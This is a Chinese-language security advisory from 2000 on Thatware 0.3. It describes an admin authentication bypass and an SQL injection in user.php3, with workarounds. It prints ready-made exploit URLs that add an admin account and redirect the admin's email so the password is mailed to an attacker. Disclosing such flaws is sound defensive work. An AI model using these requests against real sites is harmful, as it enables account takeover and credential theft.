Thatware 0.3安全漏洞允许用户获取管理权限
发布日期:2000-09-06
更新日期:2000-09-06
受影响系统:
Thatware 0.3
不受影响系统:
Thatware 0.3 CVS版本
描述:
Thatware存在几个安全漏洞,允许攻击者获取对该程序的管理权限。Thatware是一个
开放源码的新闻组管理程序,它可以免费从
http://www.atthat.com/下载。
1. 提交下列超级链接:
http://www.example.com/admin.php3?user=anyone
admin.php3将会设置$auth_rights = FALSE然后转去判断:
if (sizeof($auth_rights)>0) {
$admintest=1;
这将给用户开放所有权限。这是由于$auth_rights是一个赋值变量,而不是一个
数组,因此sizeof($auth_rights)等于1.
临时解决办法:
在auth.inc.php3中检查发送请求前是否$admin[0]和$admin[2]为空:
if (empty($admin[0]) || empty($admin[2])){exit;}
然后使用:
if (!empty($auth_rights))
替代:
if (sizeof($auth_rights)>0)
The following exploit will elevate 'someuser' status to admin:
http://www.example.com/admin.php3?user=anyone&op=AddAdmin
&add_root=&add_uname=someuser
2. 在某些php中没有检查用户输入的变量,通过提交SQL语句,可以窃取管理员账号。
例如,在user.php3中,存在下列更新语句:
update users_info set name='$name', email='$email',
femail='$femail', url='$url', bio='$bio' where uid=$uid
攻击者可以通过提交下列链接,增加一个'god'管理员的账号,并修改其信箱:
http://www.example.com/user.php3?op=Save%20User&email=cracker@domain
&uname=god&uid=blabla%20or%20uname%3Dchar(103,111,100)
然后只要发送
htt://site/user.php?op=mailpasswd&uname=god
就可以修改管理员的密码并将其发送到攻击者设定的信箱。
临时解决办法:
使用类似
"select * from users where uid='$uid'"的语句来替换有问题的语句。
<*来源:Fabian Clone (
fabianclone@usa.net)*>
建议:
Thatware 0.3 CVS 版已经解决了这个问题。
浏览次数:5702
严重程度:0(网友投票)